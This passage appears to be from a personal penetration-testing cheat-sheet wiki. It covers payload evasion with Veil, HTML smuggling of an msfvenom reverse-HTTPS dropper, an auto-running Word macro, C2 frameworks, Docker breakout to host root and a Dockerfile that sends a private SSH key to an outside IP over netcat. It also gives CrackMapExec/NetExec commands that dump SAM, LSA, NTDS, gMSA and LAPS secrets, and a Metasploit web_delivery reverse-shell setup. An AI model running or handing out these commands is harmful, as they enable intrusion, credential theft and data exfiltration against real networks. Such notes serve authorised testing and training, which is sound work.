# If error with (wine) python pip peefile version fix with this&lt;br /&gt;
vim /usr/share/veil/config/setup.sh&lt;br /&gt;
Change line 587 to:&lt;br /&gt;
sudo -u &amp;quot;${trueuser}&amp;quot; WINEPREFIX=&amp;quot;${winedir}&amp;quot; wine &amp;quot;${winedir}/drive_c/Python34/python.exe&amp;quot; &amp;quot;-m&amp;quot; &amp;quot;pip&amp;quot; &amp;quot;install&amp;quot; &amp;quot;-Iv&amp;quot; &amp;quot;pefile==2019.4.18&amp;quot;&lt;br /&gt;
Then, run # veil --setup again.&lt;br /&gt;
&lt;br /&gt;
# Start veil&lt;br /&gt;
veil&lt;br /&gt;
# or&lt;br /&gt;
/usr/share/veil/Veil.py&lt;br /&gt;
# Available Commands:&lt;br /&gt;
        exit                    Completely exit Veil&lt;br /&gt;
        info                    Information on a specific tool&lt;br /&gt;
        list                    List available tools&lt;br /&gt;
        options                 Show Veil configuration&lt;br /&gt;
        update                  Update Veil&lt;br /&gt;
        use                     Use a specific tool&lt;br /&gt;
&lt;br /&gt;
# Generate a powershell script (bat file) for evasion&lt;br /&gt;
veil &amp;gt; use evasion&lt;br /&gt;
# List payloads&lt;br /&gt;
veil &amp;gt; list&lt;br /&gt;
# Use powershell rev tcp payload&lt;br /&gt;
veil/evasion &amp;gt; use powershell/meterpreter/rev_tcp.py&lt;br /&gt;
# List options&lt;br /&gt;
[powershell/meterpreter/rev_tcp&amp;gt;&amp;gt;]: options&lt;br /&gt;
# Generate payload&lt;br /&gt;
[powershell/meterpreter/rev_tcp&amp;gt;&amp;gt;]: generate&lt;br /&gt;
&lt;br /&gt;
# From pic below, payload is in /var/lib/veil/output/source/ folder&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2022-10-image-3.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
=== Ebowla ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://github.com/Genetic-Malware/Ebowla&lt;br /&gt;
# Use it to obfuscate payloads like JuicyPotato or other exploits.&lt;br /&gt;
# Quick demo&lt;br /&gt;
https://www.youtube.com/watch?v=rRm3O7w5GHg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== API ==&lt;br /&gt;
&lt;br /&gt;
[https://github.com/assetnote/kiterunner assetnote/kiterunner: Contextual Content Discovery Tool]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Need to have golang installed&lt;br /&gt;
apt-get install golang&lt;br /&gt;
# build the binary&lt;br /&gt;
make build&lt;br /&gt;
# symlink your binary&lt;br /&gt;
ln -s $(pwd)/dist/kr /usr/local/bin/kr&lt;br /&gt;
# compile the wordlist&lt;br /&gt;
# kr kb compile&lt;br /&gt;
kr kb compile routes.json routes.kite&lt;br /&gt;
# scan away&lt;br /&gt;
kr scan hosts.txt -w routes.kite -x 20 -j 100 --ignore-length=1053&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Buffer overflow ==&lt;br /&gt;
&lt;br /&gt;
https://blog.aghanim.net/?p=1932&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Browser exploits ==&lt;br /&gt;
&lt;br /&gt;
=== Firefox ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Extract passwords from profile&lt;br /&gt;
https://github.com/unode/firefox_decrypt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Client-Side Code Execution ==&lt;br /&gt;
&lt;br /&gt;
=== HTML Smuggeling ===&lt;br /&gt;
&lt;br /&gt;
HTML Smuggeling is when a victim clicks on a malicious link and JavaScript code inside the website will use HTML smuggeling to automatically save the dropper file. The technique uses the HTML5 anchor tag download attribute instructs the&lt;br /&gt;
browser to automatically download a file when a user clicks the assigned hyperlink.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
In the example below I will create a dropper file, and host a website which automatically downloads my dropper once the victim clicks on the link using the HTML code below.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Generate a staged payload using msfvenom.&lt;br /&gt;
sudo msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.1.126 LPORT=443 -f exe -o msfstaged.exe&lt;br /&gt;
# Saved it as base64 as to not lose any data.&lt;br /&gt;
base64 msfstaged.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;markup&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
		function base64ToArrayBuffer(base64) {&lt;br /&gt;
			var binary_string = window.atob(base64);&lt;br /&gt;
			var len = binary_string.length;&lt;br /&gt;
			var bytes = new Uint8Array( len );&lt;br /&gt;
			for (var i = 0; i&lt;br /&gt;
			var file =&amp;quot;TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAA...&amp;quot;&lt;br /&gt;
			var data = base64ToArrayBuffer(file);&lt;br /&gt;
			var blob = new Blob([data], {type: &#039;octet/stream&#039;});&lt;br /&gt;
			var fileName = &#039;msfstaged.exe&#039;;&lt;br /&gt;
&lt;br /&gt;
			var a = document.createElement(&#039;a&#039;);&lt;br /&gt;
			document.body.appendChild(a);&lt;br /&gt;
			a.style = &#039;display: none&#039;;&lt;br /&gt;
			var url = window.URL.createObjectURL(blob);&lt;br /&gt;
			a.href = url;&lt;br /&gt;
			a.download = fileName;&lt;br /&gt;
			a.click();&lt;br /&gt;
			window.URL.revokeObjectURL(url);&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-02-image.png|thumb|When the victim clicks a link in our phishing mail it will automatically download the dropper file onto the victim machine.]]&lt;br /&gt;
&lt;br /&gt;
=== Microsoft Office Macro Client-side Attack ===&lt;br /&gt;
&lt;br /&gt;
https://blog.aghanim.net/?page_id=1809#Microsoft_Word&lt;br /&gt;
&lt;br /&gt;
==== Visual Basic for Applications  [VBA] ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;visual&amp;quot;&amp;gt;&lt;br /&gt;
&#039;VBA Datatype&lt;br /&gt;
&#039;Dim is used to declare variables&lt;br /&gt;
Dim myString As String # Unicode&lt;br /&gt;
Dim myLong As Long # 64-bit integer&lt;br /&gt;
Dim myPointer As LongPtr # Memory pointer&lt;br /&gt;
&#039;Example - if and else statement&lt;br /&gt;
Sub MyMacro()&lt;br /&gt;
Dim myLong As Long&lt;br /&gt;
myLong = 1&lt;br /&gt;
If myLong &amp;lt; 5 Then&lt;br /&gt;
   MsgBox (&amp;quot;True&amp;quot;)&lt;br /&gt;
Else&lt;br /&gt;
   MsgBox (&amp;quot;False&amp;quot;)&lt;br /&gt;
End If&lt;br /&gt;
End Sub&lt;br /&gt;
&lt;br /&gt;
&#039;Example - Launch cmd.exe with a hidden window&lt;br /&gt;
Sub Document_Open()&lt;br /&gt;
   MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
Sub AutoOpen()&lt;br /&gt;
   MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
Sub MyMacro()&lt;br /&gt;
   Dim str As String&lt;br /&gt;
   str = &amp;quot;cmd.exe&amp;quot;&lt;br /&gt;
   Shell str, vbHide&lt;br /&gt;
End Sub&lt;br /&gt;
&#039;The picture below show the cmd.exe running as a child process of winword.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-02-image-1.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Certificate Types ==&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! Extension&lt;br /&gt;
! Full Name&lt;br /&gt;
! Contains&lt;br /&gt;
! Format&lt;br /&gt;
! Common Use&lt;br /&gt;
! Use Case&lt;br /&gt;
! Real-World Example&lt;br /&gt;
|-&lt;br /&gt;
| .cer&lt;br /&gt;
| Certificate&lt;br /&gt;
| Public key&lt;br /&gt;
| Usually in DER or PEM&lt;br /&gt;
| Sharing or installing public keys&lt;br /&gt;
| Installing trusted root or intermediate certificates on a system or server to verify SSL/TLS certificates&lt;br /&gt;
| Adding a trusted certificate in Windows to access a secure corporate intranet site&lt;br /&gt;
|-&lt;br /&gt;
| .pem&lt;br /&gt;
| Privacy Enhanced Mail&lt;br /&gt;
| Certificates and/or private keys&lt;br /&gt;
| Base64 encoded text (PEM)&lt;br /&gt;
| SSL certificates and private keys, commonly used in web servers&lt;br /&gt;
| Configuring SSL/TLS for web servers like Apache or Nginx by providing both the certificate and private key&lt;br /&gt;
| Configuring SSL/TLS for an Nginx web server for your website by specifying .pem files for SSL security&lt;br /&gt;
|-&lt;br /&gt;
| .crt&lt;br /&gt;
| Certificate&lt;br /&gt;
| Public key&lt;br /&gt;
| Usually in PEM or DER&lt;br /&gt;
| Similar to .cer, used for certificates in web servers&lt;br /&gt;
| Installing SSL/TLS certificates on websites to secure connections (often paired with .key files)&lt;br /&gt;
| Installing an SSL/TLS certificate from Let&#039;s Encrypt (.crt) to secure your website and enable HTTPS&lt;br /&gt;
|-&lt;br /&gt;
| .pfx&lt;br /&gt;
| Personal Information Exchange&lt;br /&gt;
| Private key and certificate (often password-protected)&lt;br /&gt;
| Binary (PFX)&lt;br /&gt;
| Bundling a private key with a certificate, used for importing/exporting certificates&lt;br /&gt;
| Importing a certificate with a private key into Windows servers or applications, such as IIS or to share with others in a secure manner&lt;br /&gt;
| Importing a .pfx file into Microsoft IIS to enable secure HTTPS for a web server hosting an internal application or signing an executable file&lt;br /&gt;
|-&lt;br /&gt;
| .key&lt;br /&gt;
| Private Key File&lt;br /&gt;
| Private key&lt;br /&gt;
| Text (usually PEM)&lt;br /&gt;
| Storing private keys for SSL certificates, often paired with .crt files&lt;br /&gt;
| Configuring SSL/TLS for web servers like Apache or Nginx by providing the private key for the SSL certificate&lt;br /&gt;
| Using a .key file along with a .crt file to configure HTTPS for a website&lt;br /&gt;
|-&lt;br /&gt;
| .der&lt;br /&gt;
| Distinguished Encoding Rules&lt;br /&gt;
| Certificate or private key in binary&lt;br /&gt;
| Binary (DER)&lt;br /&gt;
| Storing certificates or private keys in binary format&lt;br /&gt;
| Used in environments where certificates or keys need to be in a compact, binary format&lt;br /&gt;
| Using a .der file to import a certificate in Windows or Java environments&lt;br /&gt;
|-&lt;br /&gt;
| .csr&lt;br /&gt;
| Certificate Signing Request&lt;br /&gt;
| Information about an entity requesting a certificate&lt;br /&gt;
| Text (usually PEM)&lt;br /&gt;
| Requesting an SSL/TLS certificate from a Certificate Authority (CA)&lt;br /&gt;
| Generating a .csr to request an SSL/TLS certificate from a CA like Let&#039;s Encrypt&lt;br /&gt;
| Creating a .csr file to obtain an SSL certificate for your website&lt;br /&gt;
|-&lt;br /&gt;
| .p7b or .p7c&lt;br /&gt;
| PKCS#7 Certificate File&lt;br /&gt;
| Certificates in chain (no private key)&lt;br /&gt;
| Base64 or Binary&lt;br /&gt;
| Sharing a certificate chain&lt;br /&gt;
| Importing a full certificate chain in environments like Java keystores&lt;br /&gt;
| Using a .p7b file to import a complete certificate chain into a Java KeyStore for a Tomcat server&lt;br /&gt;
|-&lt;br /&gt;
| .jks&lt;br /&gt;
| Java KeyStore&lt;br /&gt;
| Private keys and certificates&lt;br /&gt;
| Binary (JKS)&lt;br /&gt;
| Storing certificates and private keys in Java environments&lt;br /&gt;
| Storing certificates and keys for Java-based applications like Tomcat&lt;br /&gt;
| Using a .jks file to configure SSL/TLS in a Java application server like Tomcat&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Command and control - C2 framework ==&lt;br /&gt;
&lt;br /&gt;
=== Covenant ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/cobbr/Covenant&lt;br /&gt;
# Installation and running&lt;br /&gt;
git clone --recurse-submodules https://github.com/cobbr/Covenant&lt;br /&gt;
# Be sure to install the dotnet core version 3.1 SDK!&lt;br /&gt;
# Build and run convenant&lt;br /&gt;
$ ~ &amp;gt; git clone --recurse-submodules https://github.com/cobbr/Covenant&lt;br /&gt;
$ ~ &amp;gt; cd Covenant/Covenant&lt;br /&gt;
$ ~/Covenant/Covenant &amp;gt; dotnet run&lt;br /&gt;
warn: Microsoft.EntityFrameworkCore.Model.Validation[10400]&lt;br /&gt;
      Sensitive data logging is enabled. Log entries and exception messages may include sensitive application data, this mode should only be enabled during development.&lt;br /&gt;
WARNING: Running Covenant non-elevated. You may not have permission to start Listeners on low-numbered ports. Consider running Covenant elevated.&lt;br /&gt;
Covenant has started! Navigate to https://127.0.0.1:7443 in a browser&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Powershell-empire (And starkiller) ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/EmpireProject/Empire&lt;br /&gt;
# Installation and running&lt;br /&gt;
sudo ./setup/install.sh&lt;br /&gt;
# Or&lt;br /&gt;
sudo apt install powershell-empire&lt;br /&gt;
# Starkiller&lt;br /&gt;
# https://github.com/BC-SECURITY/Starkiller&lt;br /&gt;
# Starkiller is a Frontend for Powershell Empire.&lt;br /&gt;
# Change the permissions&lt;br /&gt;
chmod a+x starkiller-.AppImage&lt;br /&gt;
# Then execute&lt;br /&gt;
./starkiller-.AppImage --no-sandbox&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Meterpreter ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Log location&lt;br /&gt;
~/.msf4/logs/framework.log&lt;br /&gt;
# DBMS used is postgresql.&lt;br /&gt;
# If IOError, check logs. If Postgresql, check the postgresql logs at:&lt;br /&gt;
/var/log/postgresql/...&lt;br /&gt;
# Initialize db&lt;br /&gt;
msfdb init # only if needed&lt;br /&gt;
# Metasploit location&lt;br /&gt;
/opt/metasploit-framework/embedded/framework/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Compiling exploits ==&lt;br /&gt;
&lt;br /&gt;
=== Compile .asm to elf ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
nasm -f elf64 thm.asm&lt;br /&gt;
ld thm.o -o thm&lt;br /&gt;
./thm&lt;br /&gt;
THM,Rocks!&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Compile .cpp to .exe ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
i686-w64-mingw32-g++ -o test.exe challenge-8.cpp&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Compile .cs to .exe ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Using csc&lt;br /&gt;
csc payload.cs&lt;br /&gt;
# Using mono - https://www.mono-project.com/&lt;br /&gt;
mcs payload.cs&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Compile .c to .exe ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
## Create 32-bit Windows executable with:&lt;br /&gt;
i686-w64-mingw32-gcc -o main32.exe main.c&lt;br /&gt;
## Create 64-bit Windows executable with:&lt;br /&gt;
x86_64-w64-mingw32-gcc -o main64.exe main.c&lt;br /&gt;
# Flags:&lt;br /&gt;
-lwsock32 and -lws2_32&lt;br /&gt;
# The -lwsock32 and -lws2_32 flags are linker flags used in programming to include the Winsock libraries for network programming on Windows. -lwsock32 includes the older version of the library, while -lws2_32 includes the updated version with additional features and improvements. These flags ensure that the necessary networking functions are available to the application during the linking stage of compilation.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Compile .c in linux using --static ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# The -static option links a program statically, in other words it does not require a dependency on dynamic libraries at runtime in order to run.&lt;br /&gt;
gcc 45010.c -o exploit --static&lt;br /&gt;
&lt;br /&gt;
gcc 45010.c -o exploit -z execstack&lt;br /&gt;
# -z execstack: This option instructs the compiler to mark the resulting executable as having an executable stack. An executable stack means that the program can execute code stored on the stack, which can be a security risk if not handled carefully. This option is often used for specific purposes, like creating loader programs or certain types of shellcode.&lt;br /&gt;
&lt;br /&gt;
-------------------------------&lt;br /&gt;
# If the above dont work, try this&lt;br /&gt;
gcc -o sh.elf sh.c -z execstack -static&lt;br /&gt;
upx --best --lzma -o shupx.elf ./sh.elf&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Compile .c to 32-bit windows ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
gcc exploit.c -m32 -o exploit&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Docker - Privile Escalation ==&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation]&lt;br /&gt;
&lt;br /&gt;
=== Shell ===&lt;br /&gt;
&lt;br /&gt;
This will create a docker image, that you can run and get a shell with&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Create a docker file&lt;br /&gt;
FROM alpine:latest&lt;br /&gt;
ENV WORKIDR /privesc&lt;br /&gt;
RUN mkdir -p $WORKDIR&lt;br /&gt;
VOLUME [ $WORKDIR]&lt;br /&gt;
WORKDIR $WORKDIR&lt;br /&gt;
# Build the docker container&lt;br /&gt;
docker build -t imagename .&lt;br /&gt;
# Now run the image with /bin/bash. -it means interactive and terminal&lt;br /&gt;
docker run -v /:/mountdir -it imagename /bin/bash&lt;br /&gt;
root@machine#&lt;br /&gt;
-----------------------------------------------&lt;br /&gt;
#List images to use one&lt;br /&gt;
docker images&lt;br /&gt;
#Run the image mounting the host disk and chroot on it&lt;br /&gt;
docker run -it -v /:/host/ ubuntu:18.04 chroot /host/ bash&lt;br /&gt;
# Get full access to the host via ns pid and nsenter cli&lt;br /&gt;
docker run -it --rm --pid=host --privileged ubuntu bash&lt;br /&gt;
nsenter --target 1 --mount --uts --ipc --net --pid -- bash&lt;br /&gt;
# Get full privs in container without --privileged&lt;br /&gt;
docker run -it -v /:/host/ --cap-add=ALL --security-opt apparmor=unconfined --security-opt seccomp=unconfined --security-opt label:disable --pid=host --userns=host --uts=host --cgroupns=host ubuntu chroot /host/ bash&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Exfiltrate data ===&lt;br /&gt;
&lt;br /&gt;
See notes for Deployer&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Find if there is an docker image running. Then create a dockerfile. This wil copy id_rsa.bak to tmp, and then send it to our netcat listener on port 80&lt;br /&gt;
shanah@deployer:/opt$ cat dockerfile&lt;br /&gt;
FROM alpine&lt;br /&gt;
COPY id_rsa.bak /tmp/id_rsa.bak&lt;br /&gt;
RUN cat /tmp/id_rsa.bak | nc 192.168.49.153 80&lt;br /&gt;
# After running the below command, look at your netcat listener.&lt;br /&gt;
shanah@deployer:/opt$ sudo /usr/bin/docker build -t imagename .&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Exec-Tools ==&lt;br /&gt;
&lt;br /&gt;
=== CrackMapExec ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://wiki.porchetta.industries/&lt;br /&gt;
# READ MORE IN THE LINK ABOVE!!!!&lt;br /&gt;
# SMB commands&lt;br /&gt;
# Obtaining creds&lt;br /&gt;
# Require Domain Admin or Local Admin&lt;br /&gt;
# Dump SAM&lt;br /&gt;
crackmapexec smb 192.168.1.0/24 -u UserNAme -p &#039;PASSWORDHERE&#039; --sam&lt;br /&gt;
## Dump LSA&lt;br /&gt;
crackmapexec  smb 192.168.1.0/24 -u UserNAme -p &#039;PASSWORDHERE&#039; --lsa&lt;br /&gt;
## Dump NTDS.dit&lt;br /&gt;
cme smb 192.168.1.100 -u UserNAme -p &#039;PASSWORDHERE&#039; --ntds&lt;br /&gt;
cme smb 192.168.1.100 -u UserNAme -p &#039;PASSWORDHERE&#039; --ntds --users&lt;br /&gt;
cme smb 192.168.1.100 -u UserNAme -p &#039;PASSWORDHERE&#039; --ntds --users --enabled&lt;br /&gt;
cme smb 192.168.1.100 -u UserNAme -p &#039;PASSWORDHERE&#039; --ntds vss&lt;br /&gt;
## LPAS - If installed on the domain&lt;br /&gt;
crackmapexec smb  -u user-can-read-laps -p pass --laps&lt;br /&gt;
# LDAP&lt;br /&gt;
## Dump gMSA&lt;br /&gt;
crackmapexec ldap  -u  -p  --gmsa&lt;br /&gt;
## LAPS - If installed on the domain&lt;br /&gt;
crackmapexec ldap  -u user-can-read-laps -p pass -M laps&lt;br /&gt;
## Extract gMSA secrets&lt;br /&gt;
crackmapexec ldap  -u  -p  --gmsa-convert-id 313e25a880eb773502f03ad5021f49c2eb5b5be2a09f9883ae0d83308dbfa724&lt;br /&gt;
rackmapexec ldap  -u  -p  --gmsa-decrypt-lsa &#039;_SC_GMSA_{84A78B8C-56EE-465b-8496-FFB35A1B52A7}_313e25a880eb773502f03ad5021f49c2eb5b5be2a09f9883ae0d83308dbfa724:01000000240200001000120114021c02fbb096d10991bb88c3f54e153807b4c1cc009d30bc3c50fd6f72c99a1e79f27bd0cbd4df69fdf08b5cf6fa7928cf6924cf55bfd8dd505b1da26ddf5695f5333dd07d08673029b01082e548e31f1ad16c67db0116c6ab0f8d2a0f6f36ff30b160b7c78502d5df93232f72d6397b44571d1939a2d18bb9c28a5a48266f52737c934669e038e22d3ba5a7ae63a608f3074c520201f372d740fddec77a8fed4ddfc5b63ce7c4643b60a8c4c739e0d0c7078dd0c2fcbc2849e561ea2de1af7a004b462b1ff62ab4d3db5945a6227a58ed24461a634b85f939eeed392cf3fe9359f28f3daa8cb74edb9eef7dd38f44ed99fa7df5d10ea1545994012850980a7b3becba0000d22d957218fb7297b216e2d7272a4901f65c93ee0dbc4891d4eba49dda5354b0f2c359f185e6bb943da9bcfbd2abda591299cf166c28cb36907d1ba1a8956004b5e872ef851810689cec9578baae261b45d29d99aef743f3d9dcfbc5f89172c9761c706ea3ef16f4b553db628010e627dd42e3717208da1a2902636d63dabf1526597d94307c6b70a5acaf4bb2a1bdab05e38eb2594018e3ffac0245fcdb6afc5a36a5f98f5910491e85669f45d02e230cb633a4e64368205ac6fc3b0ba62d516283623670b723f906c2b3d40027791ab2ae97a8c5c135aae85da54a970e77fb46087d0e2233d062dcd88f866c12160313f9e6884b510840e90f4c5ee5a032d40000f0650a4489170000f0073a9188170000&#039;&lt;br /&gt;
## List all PKI enrollment server&lt;br /&gt;
crackmapexec run ldap  -u user -p pass -M adcs&lt;br /&gt;
## Extract subnet&lt;br /&gt;
crackmapexec ldap  -u  -p  -M get-network&lt;br /&gt;
crackmapexec ldap  -u  -p  -M get-network -o ONLY_HOSTS=true&lt;br /&gt;
crackmapexec ldap  -u  -p  -M get-network -o ALL=true&lt;br /&gt;
# Username + Password + CMD command&lt;br /&gt;
crackmapexec mssql -d  -u  -p  -x &amp;quot;whoami&amp;quot;&lt;br /&gt;
# Username + Hash + PS command&lt;br /&gt;
crackmapexec mssql -d  -u  -H  -X &#039;$PSVersionTable&#039;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== NetExec ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/Pennyw0rth/NetExec&lt;br /&gt;
# This project was initially created in 2015 by @byt3bl33d3r, known as CrackMapExec. In 2019 @mpgn_x64 started maintaining the project for the next 4 years, adding a lot of great tools and features. In September 2023 he retired from maintaining the project.&lt;br /&gt;
# cheatsheet&lt;br /&gt;
https://www.netexec.wiki/&lt;br /&gt;
# General&lt;br /&gt;
netexec   -u username -p password&lt;br /&gt;
# Using modules&lt;br /&gt;
# List available modules&lt;br /&gt;
nxc smb -L&lt;br /&gt;
# View module options&lt;br /&gt;
nxc smb -M lsassy --options&lt;br /&gt;
# Using Kerberos&lt;br /&gt;
$ export KRB5CCNAME=/home/bonclay/impacket/administrator.ccache&lt;br /&gt;
$ nxc smb zoro.gold.local --use-kcache&lt;br /&gt;
$ export KRB5CCNAME=/home/bonclay/impacket/bonclay.ccache&lt;br /&gt;
$ sudo nxc smb zoro.gold.local --use-kcache -x whoami&lt;br /&gt;
# Send a local file to the remote target&lt;br /&gt;
nxc smb 172.16.251.152 -u user -p pass --put-file /tmp/whoami.txt \\Windows\\Temp\\whoami.txt&lt;br /&gt;
# Get a remote file on the remote target&lt;br /&gt;
nxc smb 172.16.251.152 -u user -p pass --get-file  \\Windows\\Temp\\whoami.txt /tmp/whoami.txt&lt;br /&gt;
# Read LAPS&lt;br /&gt;
nxc smb  -u user-can-read-laps -p pass --laps&lt;br /&gt;
# Impersonate logged on user&lt;br /&gt;
# 1. Enumerate logged-on users on your Target&lt;br /&gt;
nxc smb  -u  -p  --loggedon-users&lt;br /&gt;
# 2. Execute commands on behalf of other users&lt;br /&gt;
nxc smb  -u  -p  -M schtask_as -o USER= CMD=&lt;br /&gt;
# Find Domain SID&lt;br /&gt;
$ nxc ldap DC1.scrm.local -u sqlsvc -p Pegasus60 -k --get-sid&lt;br /&gt;
# Kerberoasting&lt;br /&gt;
nxc ldap 192.168.0.104 -u harry -p pass --kerberoasting output.txt&lt;br /&gt;
# Unconstrained delegation - retrieve the list of all computers and users with the flag TRUSTED_FOR_DELEGATION&lt;br /&gt;
nxc ldap 192.168.0.104 -u harry -p pass --trusted-for-delegation&lt;br /&gt;
# Dump gMSA&lt;br /&gt;
$ nxc ldap  -u  -p  --gmsa&lt;br /&gt;
# Bloodhound ingenstor&lt;br /&gt;
nxc ldap  -u user -p pass --bloodhound -ns  --collection All&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Meterpreter using Invoke-metasploitpayload.ps1 ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/Ethical-Hacking-Repos/Invoke-MetasploitPayload/blob/master/README.md&lt;br /&gt;
# https://www.netexec.wiki/smb-protocol/command-execution/getting-shells-101#meterpreter&lt;br /&gt;
# Meterpreter&lt;br /&gt;
# We can use the metinject module launch a meterpreter using Invoke-MetasploitPayload Invoke-MetasploitPayload.ps1 script.&lt;br /&gt;
# On your Metasploit instance, run the following commands&lt;br /&gt;
use exploit/multi/script/web_delivery&lt;br /&gt;
# The SRVHOST and SRVPORT variables are used for running the webserver to host the script&lt;br /&gt;
set SRVHOST 10.211.55&lt;br /&gt;
set SRVPORT 8443&lt;br /&gt;
# The target variable determines what type of script we&#039;re using. 2 is for PowerShell&lt;br /&gt;
set target 2&lt;br /&gt;
# Pick your payload. In this case, we&#039;ll use a reverse https meterpreter payload&lt;br /&gt;
set payload windows/meterpreter/reverse_https&lt;br /&gt;
set LHOST 10.211.55&lt;br /&gt;
set LPORT 443&lt;br /&gt;
# Run the exploit&lt;br /&gt;
run -j&lt;br /&gt;
# Once run, the web_delivery module will spin up the webserver to host the script and reverse listener for our meterpreter session.&lt;br /&gt;
msf exploit(web_delivery) &amp;gt; run -j&lt;br /&gt;
[*] Exploit running as background job.&lt;br /&gt;
[*] Started HTTPS reverse handler on https://10.211.55.4:8443/&lt;br /&gt;
